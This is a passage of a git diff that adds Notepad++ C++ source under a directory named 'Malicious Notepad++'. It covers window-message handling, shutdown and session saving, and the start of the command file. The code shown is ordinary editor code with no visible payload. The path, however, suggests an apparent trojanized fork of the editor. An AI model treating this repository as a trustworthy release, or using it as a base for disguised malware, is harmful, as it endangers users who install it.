_mainEditView.execute(SCI_CLEARCMDKEY, wParam); + _subEditView.execute(SCI_CLEARCMDKEY, wParam); + return TRUE; + } + case NPPM_INTERNAL_BINDSCINTILLAKEY: + { + _mainEditView.execute(SCI_ASSIGNCMDKEY, wParam, lParam); + _subEditView.execute(SCI_ASSIGNCMDKEY, wParam, lParam); + return TRUE; + } + + case NPPM_INTERNAL_CMDLIST_MODIFIED: + { + ::DrawMenuBar(hwnd); + return TRUE; + } + + case NPPM_INTERNAL_MACROLIST_MODIFIED: + { + return TRUE; + } + + case NPPM_INTERNAL_USERCMDLIST_MODIFIED: + { + return TRUE; + } + + case NPPM_INTERNAL_FINDKEYCONFLICTS: + { + if (not wParam || not lParam) // Clean up current session + { + if (_pShortcutMapper != nullptr) + { + delete _pShortcutMapper; + _pShortcutMapper = nullptr; + } + return TRUE; + } + + if (_pShortcutMapper == nullptr) // Begin new session + { + _pShortcutMapper = new ShortcutMapper; + if (_pShortcutMapper == nullptr) + break; + } + + *reinterpret_cast(lParam) = _pShortcutMapper->findKeyConflicts(nullptr, *reinterpret_cast(wParam), (size_t)-1); + + return TRUE; + } + + case NPPM_INTERNAL_SETCARETWIDTH: + { + const NppGUI & nppGUI = pNppParam->getNppGUI(); + + if (nppGUI._caretWidth < 4) + { + _mainEditView.execute(SCI_SETCARETSTYLE, CARETSTYLE_LINE); + _subEditView.execute(SCI_SETCARETSTYLE, CARETSTYLE_LINE); + _mainEditView.execute(SCI_SETCARETWIDTH, nppGUI._caretWidth); + _subEditView.execute(SCI_SETCARETWIDTH, nppGUI._caretWidth); + } + else + { + _mainEditView.execute(SCI_SETCARETWIDTH, 1); + _subEditView.execute(SCI_SETCARETWIDTH, 1); + _mainEditView.execute(SCI_SETCARETSTYLE, CARETSTYLE_BLOCK); + _subEditView.execute(SCI_SETCARETSTYLE, CARETSTYLE_BLOCK); + } + return TRUE; + } + + case NPPM_SETSMOOTHFONT: + { + int param = (lParam == 0 ? SC_EFF_QUALITY_DEFAULT : SC_EFF_QUALITY_LCD_OPTIMIZED); + _mainEditView.execute(SCI_SETFONTQUALITY, param); + _subEditView.execute(SCI_SETFONTQUALITY, param); + return TRUE; + } + + case NPPM_SETEDITORBORDEREDGE: + { + bool withBorderEdge = (lParam == 1); + _mainEditView.setBorderEdge(withBorderEdge); + _subEditView.setBorderEdge(withBorderEdge); + return TRUE; + } + + case NPPM_INTERNAL_SCROLLBEYONDLASTLINE: + { + const bool endAtLastLine = not (pNppParam->getSVP())._scrollBeyondLastLine; + _mainEditView.execute(SCI_SETENDATLASTLINE, endAtLastLine); + _subEditView.execute(SCI_SETENDATLASTLINE, endAtLastLine); + return TRUE; + } + + case NPPM_INTERNAL_SETWORDCHARS: + { + _mainEditView.setWordChars(); + _subEditView.setWordChars(); + return TRUE; + } + + case NPPM_INTERNAL_SETMULTISELCTION: + { + const NppGUI & nppGUI = pNppParam->getNppGUI(); + _mainEditView.execute(SCI_SETMULTIPLESELECTION, nppGUI._enableMultiSelection); + _subEditView.execute(SCI_SETMULTIPLESELECTION, nppGUI._enableMultiSelection); + return TRUE; + } + + case NPPM_INTERNAL_SETCARETBLINKRATE: + { + const NppGUI & nppGUI = pNppParam->getNppGUI(); + _mainEditView.execute(SCI_SETCARETPERIOD, nppGUI._caretBlinkRate); + _subEditView.execute(SCI_SETCARETPERIOD, nppGUI._caretBlinkRate); + return TRUE; + } + + case NPPM_INTERNAL_ISTABBARREDUCED: + { + return _toReduceTabBar?TRUE:FALSE; + } + + // ADD: success->hwnd; failure->NULL + // REMOVE: success->NULL; failure->hwnd + case NPPM_MODELESSDIALOG: + { + if (wParam == MODELESSDIALOGADD) + { + for (size_t i = 0, len = _hModelessDlgs.size() ; i < len ; ++i) + { + if (_hModelessDlgs[i] == reinterpret_cast(lParam)) + return NULL; + } + + _hModelessDlgs.push_back(reinterpret_cast(lParam)); + return lParam; + } + else + { + if (wParam == MODELESSDIALOGREMOVE) + { + for (size_t i = 0, len = _hModelessDlgs.size(); i < len ; ++i) + { + if (_hModelessDlgs[i] == reinterpret_cast(lParam)) + { + vector::iterator hDlg = _hModelessDlgs.begin() + i; + _hModelessDlgs.erase(hDlg); + return NULL; + } + } + return lParam; + } + } + return TRUE; + } + + case WM_CONTEXTMENU: + { + if (pNppParam->_isTaskListRBUTTONUP_Active) + { + pNppParam->_isTaskListRBUTTONUP_Active = false; + } + else + { + if ((HWND(wParam) == _mainEditView.getHSelf()) || (HWND(wParam) == _subEditView.getHSelf())) + { + if ((HWND(wParam) == _mainEditView.getHSelf())) + switchEditViewTo(MAIN_VIEW); + else + switchEditViewTo(SUB_VIEW); + + POINT p; + ::GetCursorPos(&p); + ContextMenu scintillaContextmenu; + std::vector& tmp = pNppParam->getContextMenuItems(); + scintillaContextmenu.create(hwnd, tmp, _mainMenuHandle); + scintillaContextmenu.display(p); + return TRUE; + } + } + + return ::DefWindowProc(hwnd, message, wParam, lParam); + } + + case WM_NOTIFY: + { + SCNotification *notification = reinterpret_cast(lParam); + + if (notification->nmhdr.code == SCN_UPDATEUI) + { + checkClipboard(); //6 + checkUndoState(); //4 + } + + if (wParam == LINKTRIGGERED) + notification->wParam = LINKTRIGGERED; + + _pluginsManager.notify(notification); + + return notify(notification); + } + + case WM_ACTIVATEAPP: + { + if (wParam == TRUE) // if npp is about to be activated + { + ::PostMessage(hwnd, NPPM_INTERNAL_CHECKDOCSTATUS, 0, 0); + } + return FALSE; + } + + case NPPM_INTERNAL_CHECKDOCSTATUS: + { + const NppGUI & nppgui = pNppParam->getNppGUI(); + if (nppgui._fileAutoDetection != cdDisabled) + { + checkModifiedDocument(); + return TRUE; + } + return FALSE; + } + + case NPPM_INTERNAL_RELOADSCROLLTOEND: + { + Buffer *buf = reinterpret_cast(wParam); + buf->reload(); + return TRUE; + } + + case NPPM_INTERNAL_GETCHECKDOCOPT: + { + return (LRESULT)(pNppParam->getNppGUI())._fileAutoDetection; + } + + case NPPM_INTERNAL_SETCHECKDOCOPT: + { + // If nothing is changed by user, then we allow to set this value + if ((const_cast(pNppParam->getNppGUI()))._fileAutoDetection == (pNppParam->getNppGUI())._fileAutoDetectionOriginalValue) + (const_cast(pNppParam->getNppGUI()))._fileAutoDetection = (ChangeDetect)wParam; + return TRUE; + } + + case NPPM_GETPOSFROMBUFFERID: + { + int i; + + if (lParam == SUB_VIEW) + { + if ((i = _subDocTab.getIndexByBuffer((BufferID)wParam)) != -1) + { + long view = SUB_VIEW; + view <<= 30; + return view|i; + } + if ((i = _mainDocTab.getIndexByBuffer((BufferID)wParam)) != -1) + { + long view = MAIN_VIEW; + view <<= 30; + return view|i; + } + } + else + { + if ((i = _mainDocTab.getIndexByBuffer((BufferID)wParam)) != -1) + { + long view = MAIN_VIEW; + view <<= 30; + return view|i; + } + if ((i = _subDocTab.getIndexByBuffer((BufferID)wParam)) != -1) + { + long view = SUB_VIEW; + view <<= 30; + return view|i; + } + } + return -1; + } + + case NPPM_GETFULLPATHFROMBUFFERID: + { + return MainFileManager->getFileNameFromBuffer(reinterpret_cast(wParam), reinterpret_cast(lParam)); + } + + case NPPM_INTERNAL_ENABLECHECKDOCOPT: + { + NppGUI & nppgui = const_cast((pNppParam->getNppGUI())); + if (wParam == CHECKDOCOPT_NONE) + nppgui._fileAutoDetection = cdDisabled; + else if (wParam == CHECKDOCOPT_UPDATESILENTLY) + nppgui._fileAutoDetection = cdAutoUpdate; + else if (wParam == CHECKDOCOPT_UPDATEGO2END) + nppgui._fileAutoDetection = cdGo2end; + else if (wParam == (CHECKDOCOPT_UPDATESILENTLY | CHECKDOCOPT_UPDATEGO2END)) + nppgui._fileAutoDetection = cdAutoUpdateGo2end; + + return TRUE; + } + + case WM_ACTIVATE: + { + _pEditView->getFocus(); + return TRUE; + } + + case WM_DROPFILES: + { + dropFiles(reinterpret_cast(wParam)); + return TRUE; + } + + case WM_UPDATESCINTILLAS: + { + //reset styler for change in Stylers.xml + _mainEditView.defineDocType(_mainEditView.getCurrentBuffer()->getLangType()); + _mainEditView.performGlobalStyles(); + + _subEditView.defineDocType(_subEditView.getCurrentBuffer()->getLangType()); + _subEditView.performGlobalStyles(); + + _findReplaceDlg.updateFinderScintilla(); + + drawTabbarColoursFromStylerArray(); + + // Update default fg/bg colors in Parameters for both internal/plugins docking dialog + StyleArray & globalStyles = (NppParameters::getInstance())->getGlobalStylers(); + int i = globalStyles.getStylerIndexByID(STYLE_DEFAULT); + Style & style = globalStyles.getStyler(i); + (NppParameters::getInstance())->setCurrentDefaultFgColor(style._fgColor); + (NppParameters::getInstance())->setCurrentDefaultBgColor(style._bgColor); + + // Set default fg/bg colors on internal docking dialog + if (_pFuncList) + { + _pFuncList->setBackgroundColor(style._bgColor); + _pFuncList->setForegroundColor(style._fgColor); + } + + if (_pAnsiCharPanel) + { + _pAnsiCharPanel->setBackgroundColor(style._bgColor); + _pAnsiCharPanel->setForegroundColor(style._fgColor); + } + + if (_pFileSwitcherPanel) + { + _pFileSwitcherPanel->setBackgroundColor(style._bgColor); + _pFileSwitcherPanel->setForegroundColor(style._fgColor); + } + + if (_pClipboardHistoryPanel) + { + _pClipboardHistoryPanel->setBackgroundColor(style._bgColor); + _pClipboardHistoryPanel->setForegroundColor(style._fgColor); + _pClipboardHistoryPanel->redraw(true); + } + + if (_pProjectPanel_1) + { + _pProjectPanel_1->setBackgroundColor(style._bgColor); + _pProjectPanel_1->setForegroundColor(style._fgColor); + } + + if (_pProjectPanel_2) + { + _pProjectPanel_2->setBackgroundColor(style._bgColor); + _pProjectPanel_2->setForegroundColor(style._fgColor); + } + + if (_pProjectPanel_3) + { + _pProjectPanel_3->setBackgroundColor(style._bgColor); + _pProjectPanel_3->setForegroundColor(style._fgColor); + } + + if (_pFileBrowser) + { + _pFileBrowser->setBackgroundColor(style._bgColor); + _pFileBrowser->setForegroundColor(style._fgColor); + } + + if (_pDocMap) + _pDocMap->setSyntaxHiliting(); + + // Notify plugins of update to styles xml + SCNotification scnN; + scnN.nmhdr.code = NPPN_WORDSTYLESUPDATED; + scnN.nmhdr.hwndFrom = hwnd; + scnN.nmhdr.idFrom = (uptr_t) _pEditView->getCurrentBufferID(); + _pluginsManager.notify(&scnN); + return TRUE; + } + + case WM_QUERYENDSESSION: + case WM_CLOSE: + { + if (_pPublicInterface->isPrelaunch()) + { + SendMessage(hwnd, WM_SYSCOMMAND, SC_MINIMIZE, 0); + } + else + { + SCNotification scnN; + scnN.nmhdr.code = NPPN_BEFORESHUTDOWN; + scnN.nmhdr.hwndFrom = hwnd; + scnN.nmhdr.idFrom = 0; + _pluginsManager.notify(&scnN); + + if (_pTrayIco) + _pTrayIco->doTrayIcon(REMOVE); + + const NppGUI & nppgui = pNppParam->getNppGUI(); + + bool isSnapshotMode = nppgui.isSnapshotMode(); + + if (isSnapshotMode) + { + ::LockWindowUpdate(hwnd); + MainFileManager->backupCurrentBuffer(); + } + + Session currentSession; + if (nppgui._rememberLastSession) + { + getCurrentOpenedFiles(currentSession, true); + //Lock the recent file list so it isnt populated with opened files + //Causing them to show on restart even though they are loaded by session + _lastRecentFileList.setLock(true); //only lock when the session is remembered + } + _isAttemptingCloseOnQuit = true; + bool allClosed = fileCloseAll(false, isSnapshotMode); //try closing files before doing anything else + _isAttemptingCloseOnQuit = false; + + if (nppgui._rememberLastSession) + _lastRecentFileList.setLock(false); //only lock when the session is remembered + + if (!allClosed) + { + //User cancelled the shutdown + scnN.nmhdr.code = NPPN_CANCELSHUTDOWN; + _pluginsManager.notify(&scnN); + return FALSE; + } + + if (_beforeSpecialView.isFullScreen) //closing, return to windowed mode + fullScreenToggle(); + if (_beforeSpecialView.isPostIt) //closing, return to windowed mode + postItToggle(); + + if (_configStyleDlg.isCreated() && ::IsWindowVisible(_configStyleDlg.getHSelf())) + _configStyleDlg.restoreGlobalOverrideValues(); + + scnN.nmhdr.code = NPPN_SHUTDOWN; + _pluginsManager.notify(&scnN); + + + saveScintillasZoom(); + saveGUIParams(); //writeGUIParams writeScintillaParams + saveFindHistory(); //writeFindHistory + _lastRecentFileList.saveLRFL(); //writeRecentFileHistorySettings, writeHistory + saveProjectPanelsParams(); //writeProjectPanelsSettings + saveFileBrowserParam(); + // + // saving config.xml + // + pNppParam->saveConfig_xml(); + + // + // saving userDefineLang.xml + // + saveUserDefineLangs(); + + // + // saving shortcuts.xml + // + saveShortcuts(); + + // + // saving session.xml + // + if (nppgui._rememberLastSession && !nppgui._isCmdlineNosessionActivated) + saveSession(currentSession); + + // write settings on cloud if enabled, if the settings files don't exist + if (nppgui._cloudPath != TEXT("") && pNppParam->isCloudPathChanged()) + { + bool isOK = pNppParam->writeSettingsFilesOnCloudForThe1stTime(nppgui._cloudPath); + if (!isOK) + { + _nativeLangSpeaker.messageBox("SettingsOnCloudError", + hwnd, + TEXT("It seems the path of settings on cloud is set on a read only drive,\ror on a folder needed privilege right for writting access.\rYour settings on cloud will be canceled. Please reset a coherent value via Preference dialog."), + TEXT("Settings on Cloud"), + MB_OK | MB_APPLMODAL); + pNppParam->removeCloudChoice(); + } + } + + if (isSnapshotMode) + ::LockWindowUpdate(NULL); + + //Sends WM_DESTROY, Notepad++ will end + if (message == WM_CLOSE) + ::DestroyWindow(hwnd); + } + return TRUE; + } + + case WM_ENDSESSION: + { + if(wParam == TRUE) + ::DestroyWindow(hwnd); + return 0; + } + + case WM_DESTROY: + { + killAllChildren(); + ::PostQuitMessage(0); + _pPublicInterface->gNppHWND = NULL; + return TRUE; + } + + case WM_SYSCOMMAND: + { + const NppGUI & nppgui = (pNppParam->getNppGUI()); + if (((nppgui._isMinimizedToTray && !_isAdministrator) || _pPublicInterface->isPrelaunch()) && (wParam == SC_MINIMIZE)) + { + if (nullptr == _pTrayIco) + _pTrayIco = new trayIconControler(hwnd, IDI_M30ICON, IDC_MINIMIZED_TRAY, ::LoadIcon(_pPublicInterface->getHinst(), MAKEINTRESOURCE(IDI_M30ICON)), TEXT("")); + + _pTrayIco->doTrayIcon(ADD); + ::ShowWindow(hwnd, SW_HIDE); + return TRUE; + } + + if (wParam == SC_KEYMENU && lParam == VK_SPACE) + { + _sysMenuEntering = true; + } + else if (wParam == 0xF093) //it should be SC_MOUSEMENU. A bug? + { + _sysMenuEntering = true; + } + + return ::DefWindowProc(hwnd, message, wParam, lParam); + } + + case WM_LBUTTONDBLCLK: + { + ::SendMessage(hwnd, WM_COMMAND, IDM_FILE_NEW, 0); + return TRUE; + } + + case IDC_MINIMIZED_TRAY: + { + switch (lParam) + { + //case WM_LBUTTONDBLCLK: + case WM_LBUTTONUP : + { + _pEditView->getFocus(); + ::ShowWindow(hwnd, SW_SHOW); + if (!_pPublicInterface->isPrelaunch()) + _pTrayIco->doTrayIcon(REMOVE); + ::SendMessage(hwnd, WM_SIZE, 0, 0); + return TRUE; + } + + case WM_MBUTTONUP: + { + command(IDM_SYSTRAYPOPUP_NEW_AND_PASTE); + return TRUE; + } + + case WM_RBUTTONUP: + { + POINT p; + GetCursorPos(&p); + + HMENU hmenu; // menu template + HMENU hTrayIconMenu; // shortcut menu + hmenu = ::LoadMenu(_pPublicInterface->getHinst(), MAKEINTRESOURCE(IDR_SYSTRAYPOPUP_MENU)); + hTrayIconMenu = ::GetSubMenu(hmenu, 0); + SetForegroundWindow(hwnd); + TrackPopupMenu(hTrayIconMenu, TPM_LEFTALIGN, p.x, p.y, 0, hwnd, NULL); + PostMessage(hwnd, WM_NULL, 0, 0); + DestroyMenu(hmenu); + return TRUE; + } + } + return TRUE; + } + + case NPPM_DMMSHOW: + { + _dockingManager.showDockableDlg(reinterpret_cast(lParam), SW_SHOW); + return TRUE; + } + + case NPPM_DMMHIDE: + { + _dockingManager.showDockableDlg(reinterpret_cast(lParam), SW_HIDE); + return TRUE; + } + + case NPPM_DMMUPDATEDISPINFO: + { + if (::IsWindowVisible(reinterpret_cast(lParam))) + _dockingManager.updateContainerInfo(reinterpret_cast(lParam)); + return TRUE; + } + + case NPPM_DMMREGASDCKDLG: + { + tTbData *pData = reinterpret_cast(lParam); + int iCont = -1; + bool isVisible = false; + + getIntegralDockingData(*pData, iCont, isVisible); + _dockingManager.createDockableDlg(*pData, iCont, isVisible); + return TRUE; + } + + case NPPM_DMMVIEWOTHERTAB: + { + _dockingManager.showDockableDlg(reinterpret_cast(lParam), SW_SHOW); + return TRUE; + } + + case NPPM_DMMGETPLUGINHWNDBYNAME : //(const TCHAR *windowName, const TCHAR *moduleName) + { + if (!lParam) + return NULL; + + TCHAR *moduleName = reinterpret_cast(lParam); + TCHAR *windowName = reinterpret_cast(wParam); + std::vector dockContainer = _dockingManager.getContainerInfo(); + + for (size_t i = 0, len = dockContainer.size(); i < len ; ++i) + { + std::vector tbData = dockContainer[i]->getDataOfAllTb(); + for (size_t j = 0, len2 = tbData.size() ; j < len2 ; ++j) + { + if (generic_stricmp(moduleName, tbData[j]->pszModuleName) == 0) + { + if (!windowName) + return (LRESULT)tbData[j]->hClient; + + if (generic_stricmp(windowName, tbData[j]->pszName) == 0) + return (LRESULT)tbData[j]->hClient; + } + } + } + return NULL; + } + + case NPPM_ADDTOOLBARICON: + { + _toolBar.registerDynBtn(static_cast(wParam), reinterpret_cast(lParam)); + return TRUE; + } + + case NPPM_SETMENUITEMCHECK: + { + ::CheckMenuItem(_mainMenuHandle, static_cast(wParam), MF_BYCOMMAND | (static_cast(lParam) ? MF_CHECKED : MF_UNCHECKED)); + _toolBar.setCheck(static_cast(wParam), lParam != 0); + return TRUE; + } + + case NPPM_GETWINDOWSVERSION: + { + return (NppParameters::getInstance())->getWinVersion(); + } + + case NPPM_MAKECURRENTBUFFERDIRTY: + { + _pEditView->getCurrentBuffer()->setDirty(true); + return TRUE; + } + + case NPPM_GETENABLETHEMETEXTUREFUNC: + { + return (LRESULT)pNppParam->getEnableThemeDlgTexture(); + } + + case NPPM_GETPLUGINSCONFIGDIR: + { + if (!lParam || !wParam) + return FALSE; + + generic_string pluginsConfigDirPrefix = pNppParam->getAppDataNppDir(); + + if (pluginsConfigDirPrefix == TEXT("")) + pluginsConfigDirPrefix = pNppParam->getNppPath(); + + const TCHAR *secondPart = TEXT("plugins\\Config"); + + size_t len = wParam; + if (len < pluginsConfigDirPrefix.length() + lstrlen(secondPart)) + return FALSE; + + TCHAR *pluginsConfigDir = reinterpret_cast(lParam); + lstrcpy(pluginsConfigDir, pluginsConfigDirPrefix.c_str()); + + ::PathAppend(pluginsConfigDir, secondPart); + return TRUE; + } + + case NPPM_MSGTOPLUGIN : + { + return _pluginsManager.relayPluginMessages(message, wParam, lParam); + } + + case NPPM_ALLOCATESUPPORTED: + { + return TRUE; + } + + case NPPM_ALLOCATECMDID: + { + return _pluginsManager.allocateCmdID(static_cast(wParam), reinterpret_cast(lParam)); + } + + case NPPM_ALLOCATEMARKER: + { + return _pluginsManager.allocateMarker(static_cast(wParam), reinterpret_cast(lParam)); + } + + case NPPM_HIDETABBAR: + { + bool hide = (lParam != 0); + bool oldVal = DocTabView::getHideTabBarStatus(); + if (hide == oldVal) return oldVal; + + DocTabView::setHideTabBarStatus(hide); + ::SendMessage(hwnd, WM_SIZE, 0, 0); + + NppGUI & nppGUI = const_cast(((NppParameters::getInstance())->getNppGUI())); + if (hide) + nppGUI._tabStatus |= TAB_HIDE; + else + nppGUI._tabStatus &= ~TAB_HIDE; + + return oldVal; + } + + case NPPM_ISTABBARHIDDEN: + { + return _mainDocTab.getHideTabBarStatus(); + } + + case NPPM_HIDETOOLBAR: + { + bool show = (lParam != TRUE); + bool currentStatus = _rebarTop.getIDVisible(REBAR_BAR_TOOLBAR); + if (show != currentStatus) + _rebarTop.setIDVisible(REBAR_BAR_TOOLBAR, show); + return currentStatus; + } + + case NPPM_ISTOOLBARHIDDEN : + { + return !_rebarTop.getIDVisible(REBAR_BAR_TOOLBAR); + } + + case NPPM_HIDEMENU: + { + bool hide = (lParam == TRUE); + bool isHidden = ::GetMenu(hwnd) == NULL; + if (hide == isHidden) + return isHidden; + + NppGUI & nppGUI = const_cast(pNppParam->getNppGUI()); + nppGUI._menuBarShow = !hide; + if (nppGUI._menuBarShow) + ::SetMenu(hwnd, _mainMenuHandle); + else + ::SetMenu(hwnd, NULL); + + return isHidden; + } + + case NPPM_ISMENUHIDDEN: + { + return (::GetMenu(hwnd) == NULL); + } + + case NPPM_HIDESTATUSBAR: + { + bool show = (lParam != TRUE); + NppGUI & nppGUI = const_cast(pNppParam->getNppGUI()); + bool oldVal = nppGUI._statusBarShow; + if (show == oldVal) + return oldVal; + + RECT rc; + _pPublicInterface->getClientRect(rc); + + nppGUI._statusBarShow = show; + _statusBar.display(nppGUI._statusBarShow); + ::SendMessage(hwnd, WM_SIZE, SIZE_RESTORED, MAKELONG(rc.bottom, rc.right)); + return oldVal; + } + + case NPPM_ISSTATUSBARHIDDEN: + { + const NppGUI & nppGUI = pNppParam->getNppGUI(); + return !nppGUI._statusBarShow; + } + + case NPPM_GETCURRENTVIEW: + { + return _activeView; + } + + case NPPM_INTERNAL_ISFOCUSEDTAB: + { + HWND hTabToTest = (currentView() == MAIN_VIEW)?_mainDocTab.getHSelf():_subDocTab.getHSelf(); + return reinterpret_cast(lParam) == hTabToTest; + } + + case NPPM_INTERNAL_GETMENU: + { + return (LRESULT)_mainMenuHandle; + } + + case NPPM_INTERNAL_CLEARINDICATOR: + { + _pEditView->clearIndicator(SCE_UNIVERSAL_FOUND_STYLE_SMART); + return TRUE; + } + + case NPPM_INTERNAL_CLEARINDICATORTAGMATCH: + { + _pEditView->clearIndicator(SCE_UNIVERSAL_TAGMATCH); + _pEditView->clearIndicator(SCE_UNIVERSAL_TAGATTR); + return TRUE; + } + + case NPPM_INTERNAL_CLEARINDICATORTAGATTR: + { + _pEditView->clearIndicator(SCE_UNIVERSAL_TAGATTR); + return TRUE; + } + + case NPPM_INTERNAL_SWITCHVIEWFROMHWND: + { + HWND handle = reinterpret_cast(lParam); + if (_mainEditView.getHSelf() == handle || _mainDocTab.getHSelf() == handle) + { + switchEditViewTo(MAIN_VIEW); + } + else if (_subEditView.getHSelf() == handle || _subDocTab.getHSelf() == handle) + { + switchEditViewTo(SUB_VIEW); + } + return TRUE; + } + + case NPPM_INTERNAL_UPDATETITLEBAR: + { + setTitle(); + return TRUE; + } + + case NPPM_INTERNAL_DISABLEAUTOUPDATE: + { + //printStr(TEXT("you've got me")); + NppGUI & nppGUI = const_cast(pNppParam->getNppGUI()); + nppGUI._autoUpdateOpt._doAutoUpdate = false; + return TRUE; + } + + case NPPM_GETLANGUAGENAME: + { + generic_string langName = getLangDesc((LangType)wParam, true); + if (lParam) + lstrcpy((LPTSTR)lParam, langName.c_str()); + return langName.length(); + } + + case NPPM_GETLANGUAGEDESC: + { + generic_string langDesc = getLangDesc((LangType)wParam, false); + if (lParam) + lstrcpy((LPTSTR)lParam, langDesc.c_str()); + return langDesc.length(); + } + + case NPPM_DOCSWITCHERDISABLECOLUMN: + { + BOOL isOff = static_cast(lParam); + NppGUI & nppGUI = const_cast(pNppParam->getNppGUI()); + nppGUI._fileSwitcherWithoutExtColumn = isOff == TRUE; + + if (_pFileSwitcherPanel) + { + _pFileSwitcherPanel->reload(); + } + // else nothing to do + return TRUE; + } + + case NPPM_GETEDITORDEFAULTFOREGROUNDCOLOR: + case NPPM_GETEDITORDEFAULTBACKGROUNDCOLOR: + { + return (message == NPPM_GETEDITORDEFAULTFOREGROUNDCOLOR + ?(NppParameters::getInstance())->getCurrentDefaultFgColor() + :(NppParameters::getInstance())->getCurrentDefaultBgColor()); + } + + case NPPM_SHOWDOCSWITCHER: + { + BOOL toShow = static_cast(lParam); + if (toShow) + { + if (!_pFileSwitcherPanel || !_pFileSwitcherPanel->isVisible()) + launchFileSwitcherPanel(); + } + else + { + if (_pFileSwitcherPanel) + _pFileSwitcherPanel->display(false); + } + return TRUE; + } + + case NPPM_ISDOCSWITCHERSHOWN: + { + if (!_pFileSwitcherPanel) + return FALSE; + return _pFileSwitcherPanel->isVisible(); + } + + case NPPM_GETAPPDATAPLUGINSALLOWED: + { + const TCHAR *appDataNpp = pNppParam->getAppDataNppDir(); + if (appDataNpp[0]) + { + generic_string allowAppDataPluginsPath(pNppParam->getNppPath()); + PathAppend(allowAppDataPluginsPath, allowAppDataPluginsFile); + return ::PathFileExists(allowAppDataPluginsPath.c_str()); + } + return FALSE; + } + + // + // These are sent by Preferences Dialog + // + case NPPM_INTERNAL_SETTING_HISTORY_SIZE: + { + _lastRecentFileList.setUserMaxNbLRF(pNppParam->getNbMaxRecentFile()); + break; + } + + case NPPM_INTERNAL_SETTING_EDGE_SIZE: + { + ScintillaViewParams & svp = (ScintillaViewParams &)(NppParameters::getInstance())->getSVP(); + _mainEditView.execute(SCI_SETEDGECOLUMN, svp._edgeNbColumn); + _subEditView.execute(SCI_SETEDGECOLUMN, svp._edgeNbColumn); + break; + } + + case NPPM_INTERNAL_SETTING_TAB_REPLCESPACE: + case NPPM_INTERNAL_SETTING_TAB_SIZE: + { + _pEditView->setTabSettings(_pEditView->getCurrentBuffer()->getCurrentLang()); + break; + } + + case NPPM_INTERNAL_RECENTFILELIST_UPDATE: + { + _lastRecentFileList.updateMenu(); + break; + } + + case NPPM_INTERNAL_RECENTFILELIST_SWITCH: + { + _lastRecentFileList.switchMode(); + _lastRecentFileList.updateMenu(); + break; + } + + case WM_INITMENUPOPUP: + { + _windowsMenu.initPopupMenu(reinterpret_cast(wParam), _pDocTab); + return TRUE; + } + + case WM_ENTERMENULOOP: + { + const NppGUI & nppgui = pNppParam->getNppGUI(); + if (!nppgui._menuBarShow && !wParam && !_sysMenuEntering) + ::SetMenu(hwnd, _mainMenuHandle); + + return TRUE; + } + + case WM_EXITMENULOOP: + { + const NppGUI & nppgui = pNppParam->getNppGUI(); + if (!nppgui._menuBarShow && !wParam && !_sysMenuEntering) + ::SetMenu(hwnd, NULL); + _sysMenuEntering = false; + return FALSE; + } + + case WM_DPICHANGED: + { + return TRUE; + } + + default: + { + if (message == WDN_NOTIFY) + { + NMWINDLG* nmdlg = reinterpret_cast(lParam); + switch (nmdlg->type) + { + case WDT_ACTIVATE: + { + activateDoc(nmdlg->curSel); + nmdlg->processed = TRUE; + break; + } + + case WDT_SAVE: + { + //loop through nmdlg->nItems, get index and save it + for (unsigned int i = 0; i < nmdlg->nItems; ++i) + { + fileSave(_pDocTab->getBufferByIndex(i)); + } + nmdlg->processed = TRUE; + break; + } + + case WDT_CLOSE: + { + //loop through nmdlg->nItems, get index and close it + for (unsigned int i = 0; i < nmdlg->nItems; ++i) + { + bool closed = fileClose(_pDocTab->getBufferByIndex(nmdlg->Items[i]), currentView()); + UINT pos = nmdlg->Items[i]; + // The window list only needs to be rearranged when the file was actually closed + if (closed) + { + nmdlg->Items[i] = 0xFFFFFFFF; // indicate file was closed + + // Shift the remaining items downward to fill the gap + for (unsigned int j = i + 1; j < nmdlg->nItems; ++j) + { + if (nmdlg->Items[j] > pos) + nmdlg->Items[j]--; + } + } + } + nmdlg->processed = TRUE; + break; + } + + case WDT_SORT: + { + if (nmdlg->nItems != _pDocTab->nbItem()) //sanity check, if mismatch just abort + break; + + //Collect all buffers + std::vector tempBufs; + for (unsigned int i = 0; i < nmdlg->nItems; ++i) + { + tempBufs.push_back(_pDocTab->getBufferByIndex(i)); + } + //Reset buffers + for (unsigned int i = 0; i < nmdlg->nItems; ++i) + { + _pDocTab->setBuffer(i, tempBufs[nmdlg->Items[i]]); + } + activateBuffer(_pDocTab->getBufferByIndex(_pDocTab->getCurrentTabIndex()), currentView()); + break; + } + } + return TRUE; + } + + return ::DefWindowProc(hwnd, message, wParam, lParam); + } + } + + _pluginsManager.relayNppMessages(message, wParam, lParam); + return result; +} + diff --git a/Malicious Notepad++/src/NppCommands.cpp b/Malicious Notepad++/src/NppCommands.cpp new file mode 100644 index 0000000..8baae38 --- /dev/null +++ b/Malicious Notepad++/src/NppCommands.cpp @@ -0,0 +1,3295 @@ +// This file is part of Notepad++ project +// Copyright (C)2003 Don HO +// +// This program is free software; you can redistribute it and/or +// modify it under the terms of the GNU General Public License +// as published by the Free Software Foundation; either +// version 2 of the License, or (at your option) any later version. +// +// Note that the GPL places important restrictions on "derived works", yet +// it does not provide a detailed definition of that term. To avoid +// misunderstandings, we consider an application to constitute a +// "derivative work" for the purpose of this license if it does any of the +// following: +// 1. Integrates source code from Notepad++. +// 2. Integrates/includes/aggregates Notepad++ into a proprietary executable +// installer, such as those produced by InstallShield. +// 3. Links to a library or executes a program that does any of the above. +// +// This program is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program; if not, write to the Free Software +// Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA. + +#include +#include +#include "Notepad_plus_Window.h" +#include "EncodingMapper.h" +#include "ShortcutMapper.h" +#include "TaskListDlg.h" +#include "clipboardFormats.h" +#include "VerticalFileSwitcher.h" +#include "documentMap.h" +#include "functionListPanel.h" +#include "fileBrowser.h" +#include "Sorters.h" +#include "LongRunningOperation.h" +#include "md5.h" + +using namespace std; + +void Notepad_plus::macroPlayback(Macro macro) +{ + LongRunningOperation op; + + _playingBackMacro = true; + _pEditView->execute(SCI_BEGINUNDOACTION); + + for (Macro::iterator step = macro.begin(); step != macro.end(); ++step) + { + if (step->isPlayable()) + step->PlayBack(this->_pPublicInterface, _pEditView); + else + _findReplaceDlg.execSavedCommand(step->_message, step->_lParameter, step->_sParameter); + } + + _pEditView->execute(SCI_ENDUNDOACTION); + _playingBackMacro = false; +} + + + +void Notepad_plus::command(int id) +{ + switch (id) + { + case 